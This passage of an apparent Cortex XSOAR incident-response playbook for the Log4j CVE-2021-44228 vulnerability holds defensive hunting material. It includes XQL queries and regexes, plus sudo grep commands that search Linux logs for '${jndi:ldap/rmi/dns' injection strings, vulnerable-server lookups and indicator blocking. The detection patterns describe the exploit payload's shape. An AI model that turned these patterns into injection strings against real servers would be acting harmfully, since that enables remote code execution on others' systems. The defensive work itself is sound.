"((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi" | fields caller_ip, project, identity_name, identity_type, identity_sub_type, operation_name_orig, operation_status, referenced_resource_name, caller_ip_asn_org, caller_ip_geolocation query_name: simple: Hunt additional exploitation attempts within cloud audit logs time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": -420, "y": 2600 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "85": id: "85" taskid: fff8cc1f-f45a-41bd-871f-5a632a47541b type: regular task: id: fff8cc1f-f45a-41bd-871f-5a632a47541b version: -1 name: 'Hunt for successful exploitations by looking at EDR, Firewall and flow logs ' description: |- Due to the fact that there are so many exploitation attempts, finding a successful exploitation is not an easy task. However, we can leverage the power of all XDR data resources and hunt those malicious connections. By correlating between Cortex XDR cloud, NDR and EDR logs, we are able to extract IOCs from exploitation attempts and match them with established outbound network connections. For example, we can extract the attacker IP address from the payload as seen in Cortex XDR cloud logs, and look for successful outbound connections to this IP address. The same steps can be implemented for DNS queries. tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "29" scriptarguments: query: simple: |- dataset = cloud_audit_logs | alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}") | filter raw_log_decoded ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi" | filter lowercase(operation_name_orig) not contains "jobservice" and user_agent != null | alter ip = arrayindex(regextract(user_agent, "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"), 0) | filter ip != null | fields ip, user_agent, raw_log_decoded | join (dataset = xdr_data | filter action_remote_ip != null and (event_type = enum.STORY or event_type = enum.NETWORK) | fields action_remote_ip, cloud_entity, agent_id | alter cloud_instance_name = json_extract_scalar(to_json_string(cloud_entity), "$.entity_name") | dedup action_remote_ip, agent_id, cloud_instance_name) as remote_ips ip = remote_ips.action_remote_ip | fields ip, user_agent, agent_id, cloud_instance_name, raw_log_decoded query_name: simple: 'Hunt for successful exploitations by looking at EDR, Firewall and flow logs ' time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": 20, "y": 2600 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "86": id: "86" taskid: 0d962153-1d7f-4a48-8961-684ec0e32574 type: regular task: id: 0d962153-1d7f-4a48-8961-684ec0e32574 version: -1 name: Creation of a list of the rare Java process description: |- Harness the power of “out of the ordinary”- The following query will create a list of the rare Java process causality chains for both action processes and their command lines. This means that for Java Child Process, the query will count the number of appearances over the past 90 days, and will list them only if they were spotted for less than 10 times on this specific host. Ideally, for any type of payload, you will be able to uncover any unusual processes and their commands. tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "82" scriptarguments: query: simple: |- config case_sensitive = false timeframe=90d | dataset = xdr_data | alter ct = current_time() | alter diff = timestamp_diff(ct, _time, "DAY") | filter event_type = ENUM.FILE and ( actor_process_image_name contains "java" ) and diff < 7 | dedup action_process_image_command_line, agent_hostname, actor_process_image_name | fields action_file_path , action_file_name,agent_hostname, actor_process_image_name, action_process_image_name | join conflict_strategy = left type = left ( dataset = xdr_data | filter event_type = ENUM.FILE and ( actor_process_image_name contains "java" ) | comp count(action_file_name) as Action_File_Days_count by actor_process_image_name ) as Three_Months_Action_Process (Three_Months_Action_Process.actor_process_image_name = actor_process_image_name) | join conflict_strategy = left type = left ( dataset = xdr_data | filter event_type = ENUM.FILE and ( actor_process_image_name contains "java" ) | comp count(action_file_path) as Path_Days_count by actor_process_image_name ) as Three_Months_CommandLine (Three_Months_CommandLine.actor_process_image_name = action_process_image_name ) | dedup agent_hostname ,actor_process_image_name , action_process_image_name | sort asc Path_Days_count , asc Action_File_Days_count | filter Path_Days_count < 10 and Action_File_Days_count <10 query_name: simple: Creation of a list of the rare Java process time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": -860, "y": 2240 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "87": id: "87" taskid: 79ebe6ac-0786-4792-8147-56883ebe6ce8 type: title task: id: 79ebe6ac-0786-4792-8147-56883ebe6ce8 version: -1 name: Hunt Linux OS type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "69" separatecontext: false view: |- { "position": { "x": 1520, "y": 1570 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "88": id: "88" taskid: dbb52c5d-b67a-4c8f-854b-9b768ff85a47 type: title task: id: dbb52c5d-b67a-4c8f-854b-9b768ff85a47 version: -1 name: Xpanse type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "89" separatecontext: false view: |- { "position": { "x": 2330, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "89": id: "89" taskid: ecd3effb-d65a-4e3f-8e3e-bc3af04e1e5a type: condition task: id: ecd3effb-d65a-4e3f-8e3e-bc3af04e1e5a version: -1 name: Is Xpanse enabled? description: Checks if Xpanse instance is enabled. type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "yes": - "90" separatecontext: false conditions: - label: "yes" condition: - - operator: isEqualString left: value: complex: root: modules filters: - - operator: containsString left: value: simple: modules.brand iscontext: true right: value: simple: Xpanse ignorecase: true accessor: state iscontext: true right: value: simple: active ignorecase: true view: |- { "position": { "x": 2330, "y": 540 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "90": id: "90" taskid: dcc07543-e093-4b81-8b31-e1966f7c0e63 type: regular task: id: dcc07543-e093-4b81-8b31-e1966f7c0e63 version: -1 name: Search for possible vulnerable servers using Xpanse description: Retrieve issues script: '|||expanse-get-issues' type: regular iscommand: true brand: "" nexttasks: '#none#': - "96" scriptarguments: issue_type: simple: |- Adobe ColdFusion, Apache Solr, Cisco Identity Services Engine (ISE), Cisco Integrated Management Controller (IMC), Cisco Unified Communications Manager, Cisco Unified Computing System, Cisco Webex Meetings Server, Co-Located Elasticsearch Server, Dell Wyse Management Suite, Elasticsearch Server , IBM WebSphere Application Server, Java Application, Oracle E-Business Suite, Oracle Fusion Middleware, Palo Alto Networks Panorama Admin Login Page, SonicWall Email Security, VMware Carbon Black EDR, VMware vCenter, VMware vRealize Automation, Appliance, VMware vRealize Suite Lifecycle Manager, VMware Workspace ONE Access Server separatecontext: false view: |- { "position": { "x": 2540, "y": 710 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "91": id: "91" taskid: d0881b0d-f2dd-441f-86d7-71fd73884a1f type: regular task: id: d0881b0d-f2dd-441f-86d7-71fd73884a1f version: -1 name: 'Review possible vulnerable servers ' description: "Expander shows systems that are exposed to the public internet,\ \ without the need to install agents or sensors of any kind. Some of the systems\ \ below do not advertise version information, or are otherwise restricted\ \ from doing so depending on the configuration of our customers’ networks.\ \ Expander attempts to retrieve or derive version information, but this is\ \ not possible in all cases. \n\nXpanse issue IDs:\n${Expanse.Issue.id}" type: regular iscommand: false brand: "" nexttasks: '#none#': - "37" separatecontext: false view: |- { "position": { "x": 2690, "y": 1060 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "92": id: "92" taskid: fe0fa37d-27f0-4283-8097-1c8fad93621d type: title task: id: fe0fa37d-27f0-4283-8097-1c8fad93621d version: -1 name: Prisma Cloud type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "93" separatecontext: false view: |- { "position": { "x": 3430, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "93": id: "93" taskid: b1448814-dc76-48ed-8b89-3d69def7f3d4 type: condition task: id: b1448814-dc76-48ed-8b89-3d69def7f3d4 version: -1 name: Is Prisma Cloud enabled? description: Checks if Prisma Cloud instance is enabled. type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "yes": - "94" - "103" separatecontext: false conditions: - label: "yes" condition: - - operator: isEqualString left: value: complex: root: modules filters: - - operator: containsString left: value: simple: modules.brand iscontext: true right: value: simple: RedLock ignorecase: true accessor: state iscontext: true right: value: simple: active ignorecase: true - operator: isEqualString left: value: complex: root: modules filters: - - operator: containsString left: value: simple: modules.brand iscontext: true right: value: simple: PrismaCloud v2 ignorecase: true accessor: state iscontext: true right: value: simple: active ignorecase: true continueonerrortype: "" view: |- { "position": { "x": 3430, "y": 540 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "94": id: "94" taskid: 4ae17969-e741-4fc5-82bd-5ece46ea7690 type: regular task: id: 4ae17969-e741-4fc5-82bd-5ece46ea7690 version: -1 name: Search for possible vulnerable servers using Prisma Cloud description: Runs an RQL query on the Prisma Cloud. script: '|||redlock-get-rql-response' type: regular iscommand: true brand: "" nexttasks: '#none#': - "97" scriptarguments: limit: simple: "10" rql: simple: config from cloud.resource where finding.type = 'Host Vulnerability' AND protection.finding.name = 'CVE-2021-44228' separatecontext: false view: |- { "position": { "x": 3630, "y": 710 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "95": id: "95" taskid: 79ffefd9-25ac-4bf2-8a48-771f60870587 type: regular task: id: 79ffefd9-25ac-4bf2-8a48-771f60870587 version: -1 name: 'Review possible vulnerable servers ' description: "In this case users can utilize the Prisma platform's capabilities\ \ to isolate assets with vulnerabilities and also prioritize it further by\ \ looking for internet exposed assets receiving traffic. \n\nKnow the hosts\ \ in your cloud that has the specific vulnerability CVE-2021-44228:\n${Redlock.RQL.Response.Data.NetworkInterfaces.PrivateIpAddress}" type: regular iscommand: false brand: "" nexttasks: '#none#': - "37" separatecontext: false view: |- { "position": { "x": 3850, "y": 1080 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "96": id: "96" taskid: f904fa00-80c5-4a37-8dd6-ab272b57c7d7 type: condition task: id: f904fa00-80c5-4a37-8dd6-ab272b57c7d7 version: -1 name: Found servers using Xpanse? description: Checks if Xpanse found possible vulnerable server type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "yes": - "91" separatecontext: false conditions: - label: "yes" condition: - - operator: isExists left: value: complex: root: Expanse.Issue accessor: id iscontext: true view: |- { "position": { "x": 2540, "y": 870 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "97": id: "97" taskid: c0920883-73f8-4cef-86ee-a5e79f08fd54 type: condition task: id: c0920883-73f8-4cef-86ee-a5e79f08fd54 version: -1 name: Found servers using Prisma Cloud? description: Checks if Prisma Clooud found vulnerable server type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "yes": - "95" separatecontext: false conditions: - label: "yes" condition: - - operator: isExists left: value: complex: root: Redlock.RQL.Response.Data.NetworkInterfaces accessor: PrivateIpAddress iscontext: true right: value: {} - operator: isExists left: value: complex: root: PrismaCloud.Config.data.networkInterfaces accessor: privateIpAddress iscontext: true continueonerrortype: "" view: |- { "position": { "x": 3630, "y": 900 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "98": id: "98" taskid: 8e2bdbdd-73d3-46fb-81da-23082f981e31 type: regular task: id: 8e2bdbdd-73d3-46fb-81da-23082f981e31 version: -1 name: Download Zeek Intel Feed description: Sends http request. Returns the response as json. scriptName: http type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: filename: simple: ZeekLog4j.intel method: simple: GET url: simple: https://github.com/CriticalPathSecurity/Zeek-Intelligence-Feeds/blob/master/log4j_ip.intel separatecontext: false view: |- { "position": { "x": 2380, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "99": id: "99" taskid: fdbbf20c-e365-4a65-8f0b-5919eb797086 type: regular task: id: fdbbf20c-e365-4a65-8f0b-5919eb797086 version: -1 name: Zeek Intel File description: "The Zeek intel file includes a list of IP Addresses in a data\ \ format of the Zeek intelligence framework. \nThe file has been downloaded\ \ as ZeekLog4j.intel and is available for download directly from XSOAR." type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false view: |- { "position": { "x": -1060, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "100": id: "100" taskid: e0a31a77-701e-44d3-85e1-19a91490f409 type: playbook task: id: e0a31a77-701e-44d3-85e1-19a91490f409 version: -1 name: Block Indicators - Generic v3 description: |+ This playbook blocks malicious Indicators using all integrations that are enabled, using the following sub-playbooks: - Block URL - Generic v2 - Block Account - Generic v2 - Block IP - Generic v3 - Block File - Generic v2 - Block Email - Generic - Block Domain - Generic playbookName: Block Indicators - Generic v3 type: playbook iscommand: false brand: "" nexttasks: '#none#': - "42" scriptarguments: AutoBlockIndicators: complex: root: inputs.AutoBlockIndicators AutoCommit: simple: "No" CustomBlockRule: simple: "True" CustomURLCategory: simple: XSOAR Remediation - Malicious URLs IP: complex: root: ExtractedIndicators.IP transformers: - operator: uniq InputEnrichment: simple: "False" MD5: complex: root: ExtractedIndicators.File filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators.File iscontext: true right: value: simple: "32" ignorecase: true transformers: - operator: uniq RuleDirection: simple: outbound RuleName: simple: XSOAR - Block Indicators playbook - ${incident.id} SHA256: complex: root: ExtractedIndicators.File filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators.File iscontext: true right: value: simple: "64" ignorecase: true transformers: - operator: uniq URL: complex: root: ExtractedIndicators.URL transformers: - operator: uniq UserVerification: complex: root: inputs.UserVerification Username: complex: root: DBotScore filters: - - operator: isEqualString left: value: simple: DBotScore.Type iscontext: true right: value: simple: username ignorecase: true - - operator: greaterThanOrEqual left: value: simple: DBotScore.Score iscontext: true right: value: simple: "3" accessor: Indicator transformers: - operator: uniq separatecontext: true continueonerrortype: "" loop: iscommand: false exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 1150, "y": 3150 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "101": id: "101" taskid: 70fcb906-450f-4a73-8ae9-fb88de8aeba4 type: regular task: id: 70fcb906-450f-4a73-8ae9-fb88de8aeba4 version: -1 name: Execute Command description: Initiates a new endpoint script execution of shell commands. script: '|||xdr-script-commands-execute' type: regular iscommand: true brand: "" nexttasks: '#none#': - "29" scriptarguments: commands: simple: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns|corba|iiop|nis|nds):/[^\n]+' endpoint_ids: complex: root: PaloAltoNetworksXDR.Endpoint filters: - - operator: isEqualString left: value: simple: PaloAltoNetworksXDR.Endpoint.endpoint_status iscontext: true right: value: simple: CONNECTED - - operator: isEqualString left: value: simple: PaloAltoNetworksXDR.Endpoint.os_type iscontext: true right: value: simple: AGENT_OS_LINUX accessor: endpoint_id timeout_in_seconds: simple: "300" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 2040, "y": 2510 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "102": id: "102" taskid: c034878f-9ccc-4893-81f6-8beb227b1d74 type: regular task: id: c034878f-9ccc-4893-81f6-8beb227b1d74 version: -1 name: Execute Command description: Initiates a new endpoint script execution of shell commands. script: '|||xdr-script-commands-execute' type: regular iscommand: true brand: "" nexttasks: '#none#': - "29" scriptarguments: commands: simple: sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns|corba|iiop|nis|nds):/[^\n]+' endpoint_ids: complex: root: PaloAltoNetworksXDR.Endpoint filters: - - operator: isEqualString left: value: simple: PaloAltoNetworksXDR.Endpoint.endpoint_status iscontext: true right: value: simple: CONNECTED - - operator: isEqualString left: value: simple: PaloAltoNetworksXDR.Endpoint.os_type iscontext: true right: value: simple: AGENT_OS_LINUX accessor: endpoint_id timeout_in_seconds: simple: "300" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 2490, "y": 2510 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "103": id: "103" taskid: 4a3c5a52-e96a-4310-8ffd-ca7492ac2880 type: regular task: id: 4a3c5a52-e96a-4310-8ffd-ca7492ac2880 version: -1 name: Search for Prisma Cloud Vulnerable Servers description: Search configuration inventory on the Prisma Cloud platform using RQL language. Use this command for all queries that start with "config". When no absolute time nor relative time arguments are provided, the default time range is all times. script: '|||prisma-cloud-config-search' type: regular iscommand: true brand: "" nexttasks: '#none#': - "97" scriptarguments: query: simple: config from cloud.resource where finding.type = 'Host Vulnerability' AND protection.finding.name = 'CVE-2021-44228' separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 4060, "y": 710 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false view: |- { "linkLabelsPosition": { "22_26_Yes": 0.53, "22_37_#default#": 0.22, "24_25_Yes": 0.53, "24_37_#default#": 0.1, "32_29_#default#": 0.15, "32_33_yes": 0.45, "33_29_#default#": 0.24, "33_70_ALL": 0.65, "69_29_no": 0.17, "69_32_yes": 0.42, "75_29_#default#": 0.2, "80_29_no": 0.12, "80_81_yes": 0.29, "89_37_#default#": 0.1, "89_90_yes": 0.59, "93_37_#default#": 0.11, "93_94_yes": 0.65, "96_37_#default#": 0.1, "96_91_yes": 0.46, "97_37_#default#": 0.1 }, "paper": { "dimensions": { "height": 6105, "width": 5500, "x": -1060, "y": -1610 } } } inputs: - key: SplunkIndex value: simple: '*' required: false description: |- The Splunk index field to search in. Default is "*" playbookInputQuery: - key: SplunkSourcetype value: simple: '*' required: false description: |- The Splunk sourcetype field to search in. Default is "*" playbookInputQuery: - key: SplunkEarliestTime value: simple: -1d@d required: false description: The earliest time for Splunk query. playbookInputQuery: - key: SplunkLatestTime value: simple: now required: false description: The latest time for the Splunk search query. playbookInputQuery: - key: XDRScriptExecution value: simple: "False" required: false description: Whether to investigate automatically the endpoint logs "/var/log" using XDR Endpoint Script Execution or manually. playbookInputQuery: - key: XDREndpointIDs value: {} required: false description: The Endpoint IDs to search using XDR Endpoint Script Execution in a comma delimited format. If you would like the playbook to execute the command on all known Linux OS endpoints Set to "ALL". playbookInputQuery: - key: PlaybookDescription value: simple: "Critical RCE Vulnerability: log4j - CVE-2021-44228\n\nOn Dec. 9, 2021,\ \ a remote code execution (RCE) vulnerability in Apache log4j 2 was identified\ \ being exploited in the wild. Public proof of concept (PoC) code was released\ \ and subsequent investigation revealed that exploitation was incredibly easy\ \ to perform. \n\nOn Dec. 14 2021, another vulnerability was discovered related\ \ the log4j 0-day exploit known as CVE-2021-45046.\n\nOn Dec 18 2021, yet another\ \ vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45105\ \ that allows an attacker with control over Thread Context Map data to cause\ \ a denial of service when a crafted string is interpreted. This issue was fixed\ \ in Log4j 2.17.0 and 2.12.3.\n\nOn Dec 28 2021, another RCE vulnerability was\ \ published for Apache Log4j2, versions 2.0-beta7 through 2.17.0 (excluding\ \ security fix releases 2.3.2 and 2.12.4).\nIn order to exploit this vulnerability,\ \ an attacker with permission to modify the logging configuration file can construct\ \ a malicious configuration using a JDBC Appender with a data source referencing\ \ a JNDI URI which can execute remote code. This issue is fixed by limiting\ \ JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4,\ \ and 2.3.2.\n\n**Affected Version**\n\nApache Log4j 2.x <= 2.17.0\n\nThis playbook\ \ should be triggered manually or can be configured as a job.\nPlease create\ \ a new incident and choose the **CVE-2021-44228 - Log4j RCE** playbook and\ \ **Rapid Breach Response** incident type.\n\n**The playbook includes the following\ \ tasks:**\n\n* Collect related known indicators from several sources.\n* Indicators\ \ and exploitation patterns hunting using PAN-OS, Cortex XDR and SIEM products.\n\ *Search for possible vulnerable servers using Xpanse and Prisma Cloud.\n* Block\ \ indicators automatically or manually.\n\n**Mitigations:**\n* Apache official\ \ CVE-2021-44228 patch.\n* Unit42 recommended mitigations.\n* Detection Rules.\n\ \ * Snort\n * Suricata\n * Sigma\n * Yara\n * Zeek Intel\n\n\ More information:\n[Apache Log4j Vulnerability Is Actively Exploited in the\ \ Wild (CVE-2021-44228)](https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/)\n\ \nNote: This is a beta playbook, which lets you implement and test pre-release\ \ software. Since the playbook is beta, it might contain bugs. Updates to the\ \ pack during the beta phase might include non-backward compatible features.\ \ We appreciate your feedback on the quality and usability of the pack to help\ \ us identify issues, fix them, and continually improve." required: false description: The playbook description for Rapid Breach Response layout. playbookInputQuery: - key: BlockIndicatorsAutomatically value: simple: "True" required: false description: Whether to block the indicators automatically or not. playbookInputQuery: - key: CollectedIndicatorsSeverity value: simple: Malicious required: false description: "The verdict of the collected indicators. Default is \"Malicious\"\ . \nOther options can be \"Suspicious\" and \"Unknown\"." playbookInputQuery: - key: RunXQLHuntingQueries value: simple: "False" required: false description: Whether to perform XQL hunting queries. Default is "False". playbookInputQuery: - key: RelatedCVEs value: simple: CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 required: false description: The log4j related CVEs. playbookInputQuery: - key: QRadarTimeRange value: simple: Last 1 DAYS required: false description: The time range for QRadar query. playbookInputQuery: - key: UserVerification value: simple: "False" required: false description: "Possible values: True/False.\nWhether to provide user verification for blocking IPs. \n\nFalse - No prompt will be displayed to the user.\nTrue - The server will ask the user for blocking verification and will display the blocking list." playbookInputQuery: - key: AutoBlockIndicators value: simple: "True" required: false description: "|- Should the given indicators be automatically blocked, or should the user be given the option to choose? If set to True - no prompt will appear, and all provided indicators will be blocked automatically. If set to False - the user will be prompted to select which indicators to block." playbookInputQuery: outputs: [] tests: - No tests (auto formatted) fromversion: 6.5.0